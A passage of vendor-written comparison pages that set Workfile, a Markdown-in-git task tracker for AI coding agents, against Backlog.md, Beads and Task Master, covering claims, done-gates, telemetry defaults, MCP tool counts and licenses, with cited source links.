| Records | Markdown with frontmatter in `.project/`: cards, docs, changelog fragments and releases, memory | Markdown with frontmatter in `backlog/`: tasks, drafts, documents, decisions, milestones ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/constants/index.ts#L4-L29)) |
| Who holds a task | A claim over paths; a transition or release by another actor is refused with `CARD_CLAIM_OWNER_MISMATCH` | `assignee` is a list used for filtering ([type](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/types/index.ts#L50)); per-task write locks stop two writes colliding but record no owner ([locks](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/file-system/operations.ts#L637-L711)) |
| Done with criteria unchecked | Refused with `CARD_ACCEPTANCE_UNMET`; forcing it requires a reason, which the card keeps | Allowed. `task_edit` sets the status without reading the checklists ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/core/backlog.ts#L2014-L2020)); `task_complete` checks the status and branch, not the criteria ([handler](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/mcp/tools/tasks/handlers.ts#L493-L520)); checking criteria first is guidance to the agent ([guideline](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/guidelines/mcp/task-finalization.md#L21-L22)) |
| Changelog | Fragments linked to cards, cut into releases, rendered to `CHANGELOG.md` | None as a feature ([their own draft](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/backlog/drafts/draft-13%20-%20Create-CHANGELOG.md)) |
| Memory | Decisions, learnings, incidents, conventions and expiring context, each a typed record | Decisions as records; no learnings, incidents or conventions |
| MCP server | `workfile mcp`, stdio, <!-- generated:tool-count -->32<!-- /generated:tool-count --> tools, `--read-only` | `backlog mcp start`, stdio, 20 tools ([registration](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/mcp/server.ts#L545-L550)) |
| Validation | `workfile doctor` | `backlog doctor`, with `--fix` for duplicate task IDs ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L5490-L5635)) |
| Board | Local web UI | Local web board and a terminal board ([terminal](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L4454-L4587), [web](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L5779-L5781)) |
| Network by default | One npm version check a day, removed by `upgrade: { check: false }` | No telemetry; `git fetch origin`, when a remote exists and `remoteOperations` is on (the default), before allocating an ID and at most once a minute while reading tasks across branches ([default](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/constants/index.ts#L69), [fetch](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/git/operations.ts#L572-L615), [reads](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/core/backlog.ts#L711-L766)) |
| Runtime | Node.js ≥ 22 | A compiled binary per platform through Homebrew, npm or Bun (a small Node launcher picks it); the Nix flake runs a bundled build on Bun ([README](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/README.md#L78-L83), [build](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/scripts/build.ts#L20-L36), [flake](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/flake.nix#L89-L91)) |
| License | MIT | MIT ([LICENSE](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/LICENSE)) |
## Where Backlog.md is stronger
- **Adoption.** 6,726 GitHub stars and 12,847 npm downloads in the week to 2026-09-11 ([GitHub](https://api.github.com/repos/MrLesk/Backlog.md), [npm](https://api.npmjs.org/downloads/point/last-week/backlog.md)), with 17 npm releases between May and September 2026. Workfile is a young project with a fraction of that.
- **No Node.js required.** Homebrew installs a compiled binary, and the npm and Bun packages wrap the same binary; Workfile needs Node.js 22.
- **A terminal board.** `backlog board`. Workfile's board is a web UI only.
- **Cross-branch awareness.** It shows task state from recently active branches, and checks IDs on other branches and worktrees before allocating one. Workfile reads records only from the checkout it runs in.
- **A versioned JSON contract** with `schemaVersion`, and `--watch` streaming for `task list --json` ([spec](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/CLI-INSTRUCTIONS.md#L95-L136)).
- **Shell completions** for bash, zsh, fish and PowerShell 7.
- **A smaller agent surface.** 20 MCP tools against Workfile's <!-- generated:tool-count -->32<!-- /generated:tool-count -->.
## Where Workfile is stronger
- **Claims that refuse.** A second agent cannot move or release a card the first one holds, and in Claude Code the plugin's hook asks before an edit inside a claimed scope.
- **A done gate.** Criteria under `## Acceptance criteria` must be checked before `done`, and a forced close keeps its reason on the card.
- **History.** Changelog fragments linked to cards, cut into releases.
- **Typed memory.** `workfile agents context --card ID` hands an agent the card and every accepted decision and convention in force.
- **An HTTP API and a read-only MCP mode** over the same core.
## Which to choose
- **Backlog.md** if one person or one agent drives the work, you want a binary with no runtime, or you live in the terminal.
- **Workfile** if several agents share a checkout, "done" has to mean proven, or the decisions and changelog belong beside the tasks.
---
<!-- https://workfile.illodev.com/vs/beads -->
---
title: Workfile vs Beads — issue tracking for AI coding agents, compared
label: vs Beads
description: Beads is a Go issue tracker on Dolt with a dependency graph and atomic claims. Workfile keeps Markdown in git, scopes claims to paths and refuses done with open criteria.
checked: 2026-09-14
---
# Workfile vs Beads
Beads (`bd`) is an issue tracker built for coding agents: one Go binary, issues in a Dolt database, a ready queue computed from its blocking dependencies (four of its nineteen dependency types), and a claim that refuses an issue someone else holds. Workfile keeps its records as Markdown files in the repository instead of a database, scopes a claim to paths and keeps enforcing it after the claim, and refuses `done` while an acceptance criterion is unchecked. Beads is far more widely used and has the richer dependency model; it also sends usage metrics unless they are turned off.
Read against Beads [v1.2.2](https://github.com/gastownhall/beads/releases/tag/v1.2.2) — its latest stable release, from 2026-08-15 — at commit [`6c12420`](https://github.com/gastownhall/beads/tree/6c124203e771433a3550c348771a5b5e27fd3c21), and `@illodev/workfile` 0.13.2. The metrics were also observed in the released binary, not only read in the source. The repository has moved from `steveyegge/beads` to `gastownhall/beads`.
## Side by side
| | Workfile 0.13.2 | Beads 1.2.2 |
| --- | --- | --- |
| Records live in | Markdown files in `.project/`, versioned by git | A Dolt database, embedded by default under `.beads/embeddeddolt/`; `issues.jsonl` is an export ([README](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/README.md#L118-L132), [sync](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/docs/SYNC_CONCEPTS.md#L3)) |
| Record types | Cards, docs, changelog fragments and releases, typed memory | Issues of twelve built-in types, including epic, decision and gate ([types](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L524-L535)); nineteen dependency types ([dependencies](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L781-L811)); key-value memories ([memory](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/memory.go#L56-L59)) |
| Who holds work | A claim over paths; another actor's transition or release is refused; Claude Code asks before an edit in the scope | Claiming an issue someone else holds is refused ([claim](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/storage/issueops/claim.go#L50-L92)); afterwards `bd update --assignee` overwrites the holder ([update](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/update.go#L107-L109)) and `bd close` does not check it |
| Done with criteria unchecked | Refused with `CARD_ACCEPTANCE_UNMET` | Allowed: `acceptance_criteria` is free text that `bd close` does not read. Close does refuse epics with open children, unresolved gates and open blockers, unless `--force` is given ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L117-L150)) |
| Changelog | Fragments cut into releases | None for projects; per-issue history from Dolt ([history](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/history.go#L16-L18)) |
| MCP server | `workfile mcp`, in the same package, <!-- generated:tool-count -->32<!-- /generated:tool-count --> tools | `beads-mcp`, a separate Python ≥ 3.10 package that calls the `bd` CLI, 15 tools ([server](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/integrations/beads-mcp/src/beads_mcp/server.py), [package](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/integrations/beads-mcp/pyproject.toml#L6)) |
| UI | Local web UI | None built in; `bd graph --html` and community UIs ([list](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/docs/COMMUNITY_TOOLS.md#L10-L43)) |
| Usage data by default | None; one npm version check a day, removed by `upgrade: { check: false }` | Usage metrics on unless disabled: each command's name with the bd version, OS, timestamps and an HMAC-hashed machine ID; `bd metrics off` or `BD_DISABLE_METRICS=1` ([payload](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/metrics.go#L189-L206), [default](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/main.go#L1510-L1518), [off](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/metrics.go#L75-L96)) |
| Runtime | Node.js ≥ 22 | A single Go binary through Homebrew, npm, `go install`, AUR or an install script ([README](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/README.md#L86-L93)) |
| License | MIT | MIT |
## Where Beads is stronger
- **Adoption.** 27,150 GitHub stars ([GitHub](https://api.github.com/repos/gastownhall/beads)), packages on Homebrew, npm and AUR, and more than ten community UIs and editor extensions.
- **No runtime to install.** A single Go binary; Workfile needs Node.js 22.
- **Claim the next ready issue in one step.** `bd ready --claim` picks and claims in one transaction ([issues.go](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/storage/dolt/issues.go#L243-L251)); `bd close --claim-next` closes, then claims the top ready issue ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L224-L251)).
- **The dependency graph.** Nineteen dependency types, four of which gate the ready queue ([types](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L845-L847)), templates that create whole graphs, and an HTML graph.
- **Gates that check themselves.** A CI run, a pull request, a timer or another issue; `bd close` refuses until they resolve, unless `--force` is given or the check cannot run ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L424-L485)).
- **Merging from Dolt.** Field-level merges, branches, push and pull between machines, and hash IDs, so issues created on different machines don't collide.
- **Integrations** with Linear, Jira, GitHub, GitLab, Azure DevOps and Notion.
## Where Workfile is stronger
- **Plain files.** Every record is a Markdown file a reviewer reads in the pull request, with no database beside the code.
- **Claims scoped to paths, enforced after the claim.** Another actor cannot move or release the card, and Claude Code asks before an edit inside its scope.
- **A done gate** on acceptance criteria, with a forced close keeping its reason.
- **History and typed memory.** Changelog fragments cut into releases; decisions, learnings, incidents and conventions that `workfile agents context` hands to the next agent.
- **One package** for the CLI, the web UI, the HTTP API and the MCP server, and no usage data sent.
## Which to choose
- **Beads** if many agents drain a large dependency graph, gates on CI and pull requests matter, and a database beside the code is acceptable.
- **Workfile** if the records should be plain files reviewed in pull requests, "done" must mean the criteria are checked, and nothing should be sent by default.
---
<!-- https://workfile.illodev.com/vs/task-master -->
---
title: Workfile vs Task Master — task tracking for AI coding agents, compared
label: vs Task Master
description: Task Master turns a PRD into tasks with a model and ships 44 MCP tools. Workfile never calls a model, keeps Markdown in the repository and refuses done with open criteria.
checked: 2026-09-14
---
# Workfile vs Task Master
Task Master (`task-master-ai`) and Workfile answer different questions. Task Master plans: it hands a PRD to a model, gets back a tree of tasks, then expands, scopes and researches them. Workfile records: it keeps the tasks, decisions and changelog that people and agents produce as Markdown in the repository, and refuses the writes that would make them untrue. Task Master has many times the users. It also keeps every task in one JSON file, lets an agent mark a task done without checks, and turns on Sentry reporting unless `anonymousTelemetry` is set to `false`.
Read against Task Master [0.43.1](https://registry.npmjs.org/task-master-ai) — its latest release, from 2026-03-31 — at commit [`1c7365c`](https://github.com/eyaltoledano/claude-task-master/tree/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e), and `@illodev/workfile` 0.13.2. The telemetry was also read in the published npm tarball, not only in the source.
## Side by side
| | Workfile 0.13.2 | Task Master 0.43.1 |
| --- | --- | --- |
| Records | One Markdown file per record in `.project/` | One `.taskmaster/tasks/tasks.json`; `parse-prd` and the tag commands keep each tag as a top-level key ([parse-prd](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/task-manager/parse-prd/parse-prd-helpers.js#L229-L257)); `task_NNN.md` files are generated from it ([generator](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/tasks/services/task-file-generator.service.ts#L130-L138)) |
| Hosted storage | None | Optional Hamster storage, used automatically in the default `auto` mode when API credentials are configured or when logged in with a brief selected ([factory](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/services/storage-factory.ts#L109-L153)) |
| Record types | Cards with parents and dependencies, docs, changelog, memory | Tasks, one level of subtasks, dependencies, tags, complexity reports ([types](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/common/types/index.ts#L131-L176)) |
| Who holds a task | A claim over paths; other actors' transitions refused | `assignee` is a list filter ([source](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/tasks/services/task-service.ts#L455-L460)); a file lock prevents lost writes ([lock](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/adapters/file-storage/file-operations.ts#L1-L27)) |
| Done without verification | Refused with `CARD_ACCEPTANCE_UNMET` | Allowed: `set_task_status` writes the status ([storage](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/adapters/file-storage/file-storage.ts#L451-L494)). The opt-in autopilot refuses to leave GREEN unless the agent reports zero failing tests; it does not run the tests itself ([orchestrator](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/workflow/orchestrators/workflow-orchestrator.ts#L222-L230), [tool](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/apps/mcp/src/tools/autopilot/complete.tool.ts#L15-L22)) |
| Model calls | None | `parse-prd`, `expand`, `add-task` (unless title and description are given by hand), `update`, `analyze-complexity`, `scope-up`/`scope-down` and `research` send content to the configured provider ([AI service](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/ai-services-unified.js#L498)) |
| API key | None | Required for API providers; not for Claude Code, Codex, Gemini CLI, Ollama or MCP sampling ([source](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/ai-services-unified.js#L390-L410)) |
| Usage data by default | None; one npm version check a day, removed by `upgrade: { check: false }` | Sentry, on by default and turned off only by `anonymousTelemetry: false` in `.taskmaster/config.json`; the MCP server looks for that file from its working directory. Initialised with `sendDefaultPii: true`, full trace sampling, and AI input and output recording ([sentry](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/src/telemetry/sentry.js#L43-L94), [default](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/config-manager.js#L744-L747)) |
| MCP server | `workfile mcp`, stdio, <!-- generated:tool-count -->32<!-- /generated:tool-count --> tools | `npx -y task-master-ai`, stdio, 44 tools; 7 load unless `TASK_MASTER_TOOLS` says otherwise ([registry](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/mcp-server/src/tools/tool-registry.js#L59-L118), [default](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/mcp-server/src/tools/index.js#L20-L26)) |
| Changelog | Fragments cut into releases | None for projects |
| UI | Local web UI | A VS Code Kanban extension; no local web UI (Hamster, the optional hosted storage, is a web app) |
| Runtime | Node.js ≥ 22 | Node.js ≥ 20 ([npm](https://registry.npmjs.org/task-master-ai)) |
| License | MIT | MIT with the Commons Clause, which withholds the right to sell the software; GitHub reports it as `NOASSERTION` ([LICENSE](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/LICENSE), [GitHub](https://api.github.com/repos/eyaltoledano/claude-task-master/license)) |
## Where Task Master is stronger
- **From a document to a plan.** `parse_prd` builds a task tree in one call, backed by `expand`, complexity analysis, scoping and `research`. Workfile has nothing like it; it does not call a model.
- **Adoption.** 28,071 GitHub stars and 9,868 npm downloads in the week to 2026-09-11 ([GitHub](https://api.github.com/repos/eyaltoledano/claude-task-master), [npm](https://api.npmjs.org/downloads/point/last-week/task-master-ai)).
- **A small default MCP surface.** 7 tools unless configured, against Workfile's <!-- generated:tool-count -->32<!-- /generated:tool-count --> always.
- **Provider breadth,** including routes that need no API key.
- **Execution automation.** An autopilot TDD state machine that commits, and a loop that re-runs Claude Code.
- **Editor integration.** A VS Code Kanban extension and rule files for many editors.
- **Node.js 20** is enough.
## Where Workfile is stronger
- **Nothing leaves the machine** but a daily version check you can turn off, and no model is ever called.
- **One file per record.** Two branches that touch different cards touch different files, and each change is read in the pull request.
- **Claims that refuse** and **a done gate** that holds whichever surface writes — CLI, HTTP or MCP.
- **History and typed memory** beside the work.
- **Plain MIT.**
## Which to choose
- **Task Master** if the hard part is turning a spec into tasks and a model doing it is welcome.
- **Workfile** if the hard part is several agents executing without stepping on each other and proving the result, with nothing sent anywhere.
Discussion
Did this work in your project? Say what you used it for and what you changed. People and their agents can both post here.
Posts are public.Sign in to post
No one has posted yet. Be the first.